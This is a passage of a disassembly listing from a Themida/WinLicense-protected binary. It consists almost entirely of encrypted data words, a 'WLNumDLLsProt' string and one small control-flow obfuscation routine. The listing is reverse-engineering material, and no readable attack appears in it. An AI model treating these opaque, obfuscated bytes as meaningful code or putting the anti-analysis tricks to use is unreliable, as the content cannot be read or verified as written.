		dd 1C81C7AAh, 35EE6A4Fh, 0ABF13157h, 6C180397h,	0B3E4687Ch
		dd 0F6DD01h, 63h dup(0)
		dd 711830D1h, 0B5EA6961h, 1CF8C20Fh, 0A4CA34C4h, 0F51A188Ah
		dd 1BD394AFh, 67E17B59h, 0AAFD7E45h, 694A5186h,	0AFEA6960h
		dd 2B19007h, 0A3C22296h, 0E4495599h, 149693BDh,	17821412h
		dd 0B7E9744Fh, 69185D87h, 0A0EC6B60h, 18B19004h, 0B9DF3D96h
		dd 0F8575586h, 8188A3h,	23E17F1Ch, 0B7ED6303h, 684A1096h
		dd 0B4EC7E2Eh, 1EA89012h, 0B7DF3CD9h, 5B86h, 48h dup(0)
		dd 7F1830D1h, 0AAE0667Ch, 1FFFC205h, 0B9C22F96h, 0FC525587h
		dd 1C91C7BDh, 21AF7059h, 0A0E6644Ch, 724D03C2h,	0A6ED6E60h
		dd 4CB6D940h, 0A4D834CFh, 0EE4306CBh, 579E82BAh, 2BDF1336h
		dd 0A1FB7046h, 724D51CEh, 0A5E26862h, 4CACD940h, 0BBC229D0h
		dd 0F05F18CBh, 598A95A1h, 67EB705Dh, 0B0FB7451h, 3C4C0383h
		dd 0B3F66877h, 3AAC040h, 0BBCC29D1h, 0C5h, 61h dup(0)
		dd 705137D1h, 0AEE0276Bh, 1CADC212h, 0F7C93EC2h, 0F56E55C5h
		dd 9D394A7h, 35E8714Eh,	0ACA87C42h, 7E180283h, 0E1ED626Bh
		dd 5B6D10Dh, 0B7C12EC6h, 0BD5E109Fh, 599789AFh,	25F67F51h
		dd 0AD851B46h, 3C4B5696h, 0A4E56967h, 8BDC403h,	0F6D43996h
		dd 0F46C558Ah, 598092BCh, 24AF6C53h, 0AFEB7051h, 3C161587h
		dd 0B2EA6F5Ah, 0B1D640h, 0B9DA7BD3h, 0BD4E5285h, 128188B9h
		dd 3EE17F1Ch, 0A1FA7E4Eh, 0CCh,	0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2E7Ch, 0FC48F380h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 8BC35141h, 98B857CFh, 11830Fh
		dd 0CE90000h, 0C9000000h, 92FC9744h, 7BBD70EEh,	8B6E0BB0h
		dd 31B589C0h, 83060B2Eh, 0B05BDBDh, 9750006h, 29D1BD83h
		dd 7400060Bh, 8B535013h, 1B8C0h, 9D8D0000h, 60DB1BCh, 585BD3FFh
		dd 29D1BD83h, 7400060Bh, 0B8535011h, 1,	0B06D9D8Dh, 0D3FF060Dh
		dd 14E9585Bh, 34000000h, 0C3C54FE7h, 0FC431CA4h, 9991199Eh
		dd 0B383C90Ch, 60EA2B20h, 68E0Fh, 858B0000h, 60B0531h
		dd 68B0Fh, 9D290000h, 60B1B4Dh,	8BC08B61h, 0B059D9Dh, 79BD8306h
		dd 60B2Eh, 1FA840Fh, 0DA810000h, 610E81AAh, 81DBD83h, 0F00060Bh
		dd 1E784h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4FB10B69h, 145C9FEFh, 14E8h, 6347FA00h
		dd 89F8AD45h, 4EED632Fh, 0A024983Fh, 37EF1784h,	0D9EB8064h
		dd 0BD89605Ah, 60B07E1h, 81D858Bh, 6A060Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F0D8D3C3h
		dd 8B705BA9h, 0B127D95h, 3E80506h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9551E4C3h
		dd 1F69BBA2h, 6E92B75h,	0B3000000h, 5E13C8Eh, 0B5BD29EBh
		dd 90060B27h, 14E8h, 7656E00h, 7EF6CD0Fh, 0C606C6E0h, 612B0D5Ch
		dd 80E62188h, 0BB505A3Bh, 48B4A400h, 0DE990h, 0FC580000h
		dd 656D9BDDh, 3DB2344h,	8D677F54h, 0B4DB685h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 519D8970h, 90060B20h, 50D88B66h, 11E8h, 69006D00h, 34365992h
		dd 25E0F31Ch, 0AFA8EA70h, 0D08AA539h, 8B66905Bh, 94858DD9h
		dd 0F060B4Dh, 48Fh, 0B4BA6600h,	8B6650D0h, 240489DEh, 95FFF48Ah
		dd 60B000Dh, 8E9h, 9AADFF00h, 400BD282h, 0CC483CFh, 28E59D0Bh
		dd 858D060Bh, 60B4D94h,	775BBA66h, 89D08B50h, 0AE82404h
		dd 0DB000000h, 74E24B7Dh, 0A5B9AC83h, 0A5BD8931h, 5A060B33h
		dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 721548C3h, 0D0BF0F19h, 857495FFh,	6A0068h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F4A03C3h, 0AE9D7B7h, 0A6000000h, 0FFD74EB5h, 5000BE51h
		dd 950B6163h, 60B0715h,	4DC785C7h, 1060Bh, 9D8B0000h, 60B21DDh
		dd 0C4BB5696h, 5B34D6C8h, 0C9BA6650h, 295096DFh, 0B335D95h
		dd 0B5895A06h, 60B4D78h, 0BAD958Bh, 0BD83060Bh,	60B0B19h
		dd 65850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 5AB6C353h, 0A26A4B65h
		dd 0B58950B6h, 60B07C1h, 5F8835Ah, 32850Fh, 860F0000h
		dd 3, 0B8D68B66h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5411C7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5411C7	proc near		; CODE XREF: Themida_:005411BFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5411C7	endp

; ---------------------------------------------------------------------------
		db 8Fh
		dd 0F1A3AC0Dh, 7E5B7F58h, 899BD83h, 0F00060Bh, 2D84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 85661A5Eh, 8BD5071Bh, 0B02DD95h, 0B806h, 29600000h
		dd 0B330995h, 0C5858B06h, 6A060B2Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 8858C351h
		dd 819ED65Eh, 0FE90F6EBh, 2C0834Ah, 0BE9h, 0DD3B200h, 723A1628h
		dd 9DCABB38h, 4D708589h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 534D85C3h, 0F10D72E1h
		dd 70D958Bh, 0C6060Bh, 318D89FFh, 0C6060B23h, 0B284585h
		dd 0BE85306h, 96000000h, 0D4AB2CEEh, 0C0E19131h, 890FDB17h
		dd 6, 8F0Fh, 0E95A0000h, 13h, 2742BE83h, 7302A3A7h, 656B5238h
		dd 9444F8F2h, 68A62361h, 9677F6A6h, 481D48Ah, 39523224h
		dd 0ED9D8966h, 0FF060B28h, 0B1355B5h, 0A3F28006h, 7D18858Dh
		dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8B1349C3h, 0B0EE99Dh, 8BD0FF06h, 0B01099Dh
		dd 0DD858906h, 0E9060B32h, 0Fh,	7EB556D4h, 52B6CE25h, 0BCDA8EE9h
		dd 8306167Ch, 0B1FDDBDh, 850F0106h, 142h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0E9C35141h, 2D958B33h
		dd 61060B1Ah, 0F498D09h, 85C6060Bh, 60B2845h, 50006A45h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A0CDE993h, 813EC897h, 512F15CAh, 63556854h,	0DF8B5AFAh
		dd 6D240481h, 297F65D5h, 0B10758Dh, 13E906h, 0E2300000h
		dd 0A65E189Bh, 0F1F513E8h, 6D78F1Ah, 96EFB85h, 55B5FFBBh
		dd 89060B13h, 0B2055BDh, 5E806h, 3F980000h, 0E992A0E2h
		dd 13h,	4B26A166h, 9A64423Dh, 0A934A9B3h, 0B6D0A4F7h, 5B2F507Ch
		dd 7D18858Dh, 0BF0F060Eh, 0A9958BD7h, 0FF060B18h, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0C07ED6FEh, 1DCD14CAh, 0FEBB66B8h, 6A006A64h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0AD69C351h, 0E27443D4h, 0DD86677h, 20699529h, 0D0FF060Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 16C35242h
		dd 7D54C957h, 0F6BA665Eh, 0BD83F57Ah, 60B037Dh,	8A850F01h
		dd 0FC000000h, 9E8h, 95B00500h,	0F37003Bh, 0EE8977Dh, 0B9000000h
		dd 0F0771C18h, 0D1930E5Eh, 0BEA73C94h, 0A595891Eh, 5A060B1Ah
		dd 0C5858B5Ah, 0F060B2Eh, 286h,	0E9B8B300h, 3Ch, 1A459D89h
		dd 0E990060Bh, 9, 0ADC706F9h, 4078B0F2h, 0D38B5032h, 0E2815290h
		dd 57059A8Ch, 8B146A5Ah, 0B06319Dh, 0DD95FF06h,	81060B32h
		dd 3FEF4FD3h, 0BD895876h, 60B32D1h, 0F003880h, 0FFFFC185h
		dd 0D68B66FFh, 560100C6h, 6A615Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 6D8AD0C3h, 0B589615Eh
		dd 60B2AD1h, 5B9BD89h, 0BD83060Bh, 60B1A29h, 2C840F00h
		dd 60000000h, 290D8D89h, 8166060Bh, 611F7EE2h, 0BD89FF6Ah
		dd 60B2E85h, 95FFFC8Ah,	60B32DDh, 0F098589h, 0E5E9060Bh
		dd 66FFFFFFh, 0C7944EBBh, 0B1A2985h, 106h, 41858900h, 89060B0Bh
		dd 0B4D7C85h, 0DD952306h, 50060B0Dh, 0AE9h, 0D9587B00h
		dd 1D24734Eh, 89CCB2C9h, 60F52404h, 56AD38Bh, 3810Fh, 0DF800000h
		dd 94858DB4h, 66060B4Dh, 0E890D88Bh, 7,	0B08CE0C4h, 50DD55F2h
		dd 46D0BA52h, 310F1B75h, 0DE8h,	0A3179800h, 396DE772h
		dd 887CCE4Bh, 5A5B6E72h, 8A505B58h, 6A90D0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C783FDC3h
		dd 0E9958940h, 0F060B06h, 689h,	0C9958B00h, 8D060B18h
		dd 0B4D8485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 4845D4AFh, 8B90BF0Dh, 8C0F50D7h
		dd 3, 90D78B66h, 0FF62F280h, 0B051995h,	0D2B70F06h, 7BCE8D8Dh
		dd 0FE8060Bh, 0B4000000h, 0D6196E3h, 99C157DEh,	1A3EF8DCh
		dd 0B5B4946h, 8D1174C0h, 0B4D9485h, 0D1FF5006h,	4DB28589h
		dd 0AEB060Bh, 4DB285C7h, 0FFFF060Bh, 8960FFFFh,	0B07A98Dh
		dd 25B50B06h, 61060B18h, 6092C280h, 101B58Bh, 8D8B060Bh
		dd 60B14A9h, 6A6161h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 477719C3h, 0B70FAF16h, 4585C6D6h
		dd 4D060B28h, 1A21958Bh, 4E8060Bh, 0A8000000h, 66A43576h
		dd 503454BBh, 424448Bh,	6E8h, 0D76F2E00h, 5081B866h, 5AD38B66h
		dd 0E8008B5Bh, 0Bh, 36BB74DAh, 6AC3A376h, 5076B6CAh, 0F5B5652h
		dd 5A616031h, 44895B58h, 0D38B0424h, 0F99D3158h, 0FF060B23h
		dd 0B27F5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0DE99753h, 4D000000h, 0FA5C0548h
		dd 96802BE6h, 0F1D0F570h, 8D62EF80h, 0E7D1885h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 6B99F6AEh, 869CF85Ah, 10E9h,	342CD100h, 3CFBC3C2h, 5694835Ch
		dd 819D1575h, 60D0FF7Fh, 901976B8h, 599D8B64h, 61060B2Eh
		dd 0BD98589h, 9D8B060Bh, 60B062Dh, 284585C6h, 0E945060Bh
		dd 0Ch,	0D253A88Eh, 0F551492h, 0EE2329ABh, 31799501h, 9A68060Bh
		dd 8112D3CCh, 9CCF2404h, 8D017B9Eh, 60B1B4Dh, 0B11B589h
		dd 0B5FF060Bh, 60B1355h, 7E8h, 7C7D5200h, 11598741h, 23059D01h
		dd 8D5B060Bh, 0E7D1885h, 14E906h, 0CD1A0000h, 0F6FE36D3h
		dd 711F11A9h, 0B40F18D2h, 60A957F6h, 0D0FFE5A8h, 0F819D8Bh
		dd 8589060Bh, 60B2F4Dh,	6860Fh,	95890000h, 60B27EDh, 12E8D28Bh
		dd 0DC000000h, 0C35560ACh, 0E4FB4B34h, 438B542Fh, 0AA3A1E1Dh
		dd 5A5060B3h, 665A61FCh, 6AD98Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0EEBCCCC3h, 8991F17Ah
		dd 0B009D95h, 4C1F606h,	24F840Fh, 0DE800000h, 10BE9EBh
		dd 89510000h, 0B0BBD95h, 60505B06h, 29D9D89h, 0BD01060Bh
		dd 60B0011h, 0B58B5B61h, 60B1F75h, 59D9D8Bh, 0C681060Bh
		dd 1180h, 0BE9h, 0EBD62500h, 274FF94Fh,	207CA66Ah, 1611BD83h
		dd 0F00060Bh, 2885h, 0C2816600h, 11B60D36h, 0AFE9h, 898D0900h
		dd 0E9060B18h, 11h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 6B4D2DC2h
		dd 3E83CEh, 8A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 80ACFCC3h, 0DDF4A341h
		dd 0AE903h, 0A67A0000h,	0C78221CCh, 0E0191F69h,	0CB80DA8Bh
		dd 958B600Dh, 60B0B7Dh,	13E9146Ah, 83000000h, 33683F5Eh
		dd 0C973E9A1h, 50C58AB8h, 0B8359A7Eh, 95FFF9E6h, 60B32DDh
		dd 19B1958Bh, 2B61060Bh, 0B021D95h, 9E806h, 1A860000h
		dd 0B4E3F2FEh, 0BA185F7Ah, 4CF3CAB2h, 0FF73E95Ah, 9D23FFFFh
		dd 60B01E9h, 106C7h, 0C2800000h, 7CBD8373h, 5060B4Dh, 12F850Fh
		dd 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0FCA3C9C3h, 0ABEDAE7Eh, 0B58BD18Bh, 60B2F4Dh, 2098D89h
		dd 10E8060Bh, 2B000000h, 0A40052D7h, 47D786BBh,	6FD9A36h
		dd 5164D103h, 5A5A5B52h, 64B9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0AA065255h
		dd 39266FF7h, 0DDD958Bh, 0C281060Bh, 5CBE9A5Fh,	0A91E7BBh
		dd 0E83E8014h, 37840Fh,	10E80000h, 70000000h, 4B6BB8E0h
		dd 0B52BD1C0h, 749EF1B1h, 8B11E0DFh, 0B196D95h,	23E95B06h
		dd 0E8000000h, 0Ah, 2F33AECCh, 0EC99B16Dh, 0BD894976h
		dd 60B2B61h, 57E805Bh, 49840FC2h, 80000000h, 894644E2h
		dd 0B2879BDh, 850F4906h, 0FFFFFFA5h, 6890Fh, 958B0000h
		dd 60B0E95h, 40E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0F1DCA04Ch, 858930C3h
		dd 60B1FD1h, 1881B589h,	0CE8060Bh, 1F000000h, 0E5C1ABA7h
		dd 78274D91h, 0F8EBD571h, 0BF0F585Ah, 89BD83DFh, 60B31h
		dd 101840Fh, 8C0F0000h,	6, 29DBD89h, 0B589060Bh, 60B0E01h
		dd 11E960h, 81360000h, 329DCC22h, 4B55B80Ah, 0B4972C7Ah
		dd 0C6E02A5Eh, 0B284585h, 6A5406h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FC831C3h, 5568D2BFh
		dd 66E662AFh, 81E15FBAh, 11A12434h, 11E8192Ch, 52000000h
		dd 2CC65677h, 325CBDC3h, 0DD0B1593h, 0E9933C0h,	15059533h
		dd 8B5A060Bh, 55B5FFDFh, 6A060B13h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 80D1C351h
		dd 9D03F78Ah, 60B00ADh,	7D18858Dh, 0B70F060Eh, 50D0FFDBh
		dd 5BC7CB80h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 97073DC3h, 6A53A0A9h, 0B531357Ah
		dd 60B12BDh, 3189B5FFh,	9D8B060Bh, 60B026Dh, 0EA81D0FFh
		dd 16323835h, 0A3D28161h, 0C7052B43h, 0B29BD85h, 106h
		dd 59BD8900h, 8B060B24h, 0B20E195h, 6A6006h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6663A7C3h
		dd 829CC281h, 4E8h, 8000h, 2A9EBA00h, 5750554Ah, 310F5250h
		dd 8D0Fh, 585A0000h, 24448B5Ah,	8B008B04h, 244489D7h, 6A5804h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 7EE086C3h, 0F6C85FAAh, 0FF6A4103h, 0FFDF8B66h, 0B1BBD95h
		dd 31958B06h, 31060B0Dh, 0B291985h, 6A6106h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 313E51C3h
		dd 103329DBh, 81D7CA15h, 530DF8EAh, 0CE85051h, 94000000h
		dd 0BFC8EEFAh, 96E06E60h, 60F48190h, 4E2EBF66h,	4895B61h
		dd 0D38B6624h, 28E9858Bh, 8B66060Bh, 0FC00BDFh,	3A84h
		dd 59D8B00h, 0FF060B29h, 0B221D95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C157DE0Dh
		dd 3EF8DC99h, 0B260461Ah, 0F1816684h, 0C761EE0Bh, 0B009185h
		dd 106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0F50AA1E2h, 88CEDF62h, 75BD83E4h
		dd 60B06h, 30840Fh, 9D330000h, 60B29B9h, 7DD95FFh, 6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 6BD4B5C3h, 1C6792D7h, 0BD830DB4h, 60B0169h, 0F840F00h
		dd 81000000h, 50D96DDBh, 8995FF5Eh, 60060B1Ah, 0BD8361F5h
		dd 60B0155h, 35840F00h,	83000000h, 0B00B5BDh, 850F0006h
		dd 28h,	6595FFF5h, 6A060B0Fh, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 1D1AC351h, 0E9A3E4AFh
		dd 29E9BD83h, 0F00060Bh, 2884h,	7D9D2300h, 81060B17h, 0B2A3585h
		dd 400306h, 0B5895200h,	60B1349h, 9985815Bh, 3060B12h
		dd 8B000040h, 0B114195h, 89310F06h, 0B1971B5h, 7F8D8D06h
		dd 6A060B5Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0FA9DC352h, 5478947Dh,	8B9C6712h
		dd 8A0189D0h, 6AC233FDh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 4FAFC352h, 11E97Dh
		dd 0DD420000h, 0CE9C8071h, 0B74BD0CFh, 63CCA841h, 0E93594B8h
		dd 11h,	0A8BDB7E7h, 43FAE3B8h, 6E1DD302h, 0C4D450BBh, 4418962h
		dd 66310FFCh, 8D50ACBBh, 0B5D918Dh, 0CD952906h,	51060B05h
		dd 14E9h, 0E88B2B00h, 712244DEh, 5E4FBA7Fh, 8CF38853h
		dd 52BA98D5h, 1895B65h,	0C2333DB2h, 68B0Fh, 0BD010000h
		dd 60B163Dh, 57044189h,	5AD98B66h, 19870Fh, 0DE80000h
		dd 4B000000h, 3C5F7E8Fh, 30BF98C0h, 0C053D65Dh,	1B718D89h
		dd 835A060Bh, 0B0219BDh, 840F0006h, 7Dh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 23C35040h, 0F7B80C12h
		dd 14E96Dh, 0D1640000h,	4A2B4047h, 7AF8285Fh, 0DD9E18DBh
		dd 0BCF94A75h, 9D8B8985h, 60B1839h, 10E9h, 0ECEFC600h
		dd 0E6AE296Ch, 7A496487h, 5380C92h, 0F995FFCCh,	6A060B0Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 313FC353h, 0B15F985h, 31BD8306h, 1060B28h
		dd 4B850Fh, 46E90000h, 9000000h, 0B0C55BDh, 26B58B06h
		dd 0C7060B5Fh, 6, 0D1B58B00h, 0C7060B5Ch, 6, 0AE9CF00h
		dd 0FE000000h, 0E6D53ACBh, 14D4E07Ch, 12E9E7h, 4D2A0000h
		dd 95195A32h, 0D644025Ah, 6C2E7C34h, 0E22247D3h, 91BD83FCh
		dd 60B00h, 16B840Fh, 3F50000h, 0B07C59Dh, 79BD8306h, 1060B32h
		dd 142850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0C549D9C3h, 5632F19Dh, 0E8E4A40Bh
		dd 0Fh,	1F7DC7Eh, 27477EC7h, 95A3F052h,	80A5382Ch, 8B5ACEDEh
		dd 0B4D708Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0B37AA0BAh, 1F750089h, 8D2360B5h
		dd 60B04F5h, 29A1850Bh,	0C661060Bh, 6A0001h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1024C8C3h
		dd 0BF0755FCh, 60DF8BE9h, 158D9D8Bh, 4E8060Bh, 80000000h
		dd 0F000000h, 0A8Fh, 7AB06000h,	850Fh, 50610000h, 8BD68B66h
		dd 0B7042444h, 0B6008B50h, 2444890Eh, 4115BA04h, 89581D36h
		dd 0B039985h, 8BFF6A06h, 0B321D95h, 0BD95FF06h,	29060B1Bh
		dd 0B12959Dh, 6A6106h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 79F2CCC3h, 92CE099Bh, 0D7BF0F38h
		dd 2B3D95FFh, 958B060Bh, 60B0951h, 6890Fh, 958B0000h, 60B29D5h
		dd 4D708D8Bh, 0B589060Bh, 60B280Dh, 0B50101FEh,	60B03B9h
		dd 0CDBD83h, 0F01060Bh,	885h, 95095300h, 60B0E4Dh, 0B2C08B5Bh
		dd 0BDBD8381h, 60B05h, 0BD830975h, 60B29D1h, 501A7400h
		dd 8BC08B53h, 0B2A3585h, 35858906h, 8D060B2Ah, 0DB31A9Dh
		dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501874h, 2A35858Bh
		dd 8589060Bh, 60B2A35h,	0B0099D8Dh
		dd 0D3FF060Dh, 6A585Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 8B7C3FC3h, 7899D8Bh, 8166060Bh
		dd 0E9C555DAh, 6, 0ED030293h, 0C08B39EEh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 14C35242h, 0C3C4E3C2h
		dd 0FA3F5D5h, 48Fh, 0F38A5100h,	9D9D895Bh, 83060B0Dh, 0B0091BDh
		dd 850F0006h, 33h, 145F55BAh, 0E9BD8344h, 60B14h, 21840Fh
		dd 5E80000h, 0EE000000h, 32D5AED6h, 11E9h, 78812C00h, 0B6E7C53Bh
		dd 0B772D309h, 920399DEh, 835ABA1Bh, 0B0091BDh,	840F0006h
		dd 18h,	60E38166h, 5BD8385h, 60B28h, 6840Fh, 958B0000h
		dd 60B283Dh, 91BD83h, 0F00060Bh, 3984h,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0B0E8DDA3h, 8D9D8B7Eh, 83060B24h, 0B2805BDh,	840F0006h
		dd 6, 3B59D29h,	0BD83060Bh, 60B0091h, 38840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 24E2C350h, 0BD8320A2h, 60B2EF1h, 0C840F00h
		dd 0F000000h, 68Ch, 0F18D0100h,	83060B00h, 0B0091BDh, 840F0006h
		dd 40h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 0FEC35545h, 0B29E1995h, 5DBD8324h, 60B2Eh, 12840Fh
		dd 9D8B0000h, 60B31C9h,	2ADD95FFh, 0B531060Bh, 60B0399h
		dd 860FC08Bh, 5, 2BE28166h, 0BDBD83FDh,	60B05h,	0BD830975h
		dd 60B29D1h, 501A7400h,	8BC08B53h, 0B129985h, 99858906h
		dd 8D060B12h, 0DB3819Dh, 5BD3FF06h, 0D1BD8358h,	60B29h
		dd 53501874h, 1299858Bh, 8589060Bh, 60B1299h, 0B0229D8Dh
		dd 0D3FF060Dh, 0BB66585Bh, 6AC55Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B67C6C3h
		dd 0B011195h, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 4F4AC356h, 7F4ACBEEh
		dd 1815B589h, 0BD83060Bh, 60B0091h, 0E840F00h, 0F000005h
		dd 0B8Ah, 0E7806000h, 7DBD8BF7h, 61060B2Ah, 1FDDBD83h
		dd 0F02060Bh, 1984h, 0E99D0100h, 83060B0Eh, 0B2831BDh
		dd 850F0106h, 6, 18459D89h, 0BD83060Bh,	60B1FF9h, 0FA840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 217CC355h, 4C549212h, 60FCDA5Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5BC35242h
		dd 12E538ECh, 896FAA2Eh, 0B1379BDh, 8BB9B706h, 0B4D708Dh
		dd 51958B06h, 0FE060B0Fh, 0E8C4B201h, 4, 80h, 50DE8B66h
		dd 448B90B2h, 85B30424h, 8D0F008Bh, 0Ah, 61605250h, 6160310Fh
		dd 4489585Ah, 6A580424h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 89DAC351h, 0B24158Dh
		dd 2CDA8006h, 7E8h, 3EB89D00h, 6F128CDAh, 6860Fh, 0B5890000h
		dd 60B05EDh, 0B3FF6A5Bh, 0BD95FFEBh, 1060B1Bh, 0B05F195h
		dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0ECE74BC3h, 8D8B60FCh, 60B4D70h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5CC35242h, 0CF740EF9h
		dd 3810Fh, 0CB800000h, 6A01FEFFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 288DC357h
		dd 0B59D2396h, 80060B1Fh, 12E920D3h, 22000000h,	9C335550h
		dd 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch, 55EA687Dh, 13E8500Dh
		dd 48000000h, 0B9EB988Ch, 7943471Ah, 1737186Ah,	4639BEC8h
		dd 0FE9562Eh, 55000000h, 0B6DCAF45h, 0C9A0FF60h, 0DFE6FDFh
		dd 815B4DA5h, 556A2434h, 6A500Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 7B48F3C3h, 0BACA461Dh
		dd 0BE9F8h, 507E0000h, 980CF291h, 9FBC6B6Bh, 23FF6A43h
		dd 0B2A5195h, 0BD95FF06h, 0F5060B1Bh, 53006A61h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 90560913h, 8D0E1CC1h, 0B043DBDh, 0EC76BB06h,	890F383Ch
		dd 0Fh,	7E853h,	74BC0000h, 8B982CF5h, 8B5B5BE7h, 958B1C4Fh
		dd 60B1871h, 9D8B016Ah,	60B0EE9h, 56525050h, 7E8h, 665FE800h
		dd 6A0BCCB0h, 310F5B5Bh, 48B0Fh, 0BB660000h, 585A8452h
		dd 33240C89h, 0B179595h, 0CA858D06h, 6A060E3Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 7877C353h, 8D1D00A1h, 0BA5163F3h, 41C22ACCh,	3870Fh
		dd 0CB800000h, 29D0FF26h, 0B218D9Dh, 204F8B06h,	840Fh
		dd 80530000h, 6A5A11F3h, 0C5952903h, 89060B29h,	0B0C35B5h
		dd 8B665006h, 240C89D9h, 12E9h,	4D15E500h, 0E3CA79E3h
		dd 0BEB6024Ch, 0F7A041Fh, 8D6E8D06h, 0E3ECA85h,	65952906h
		dd 0FF060B13h, 0F5958BD0h, 8B060B03h, 0B31ED9Dh, 3DBD8D06h
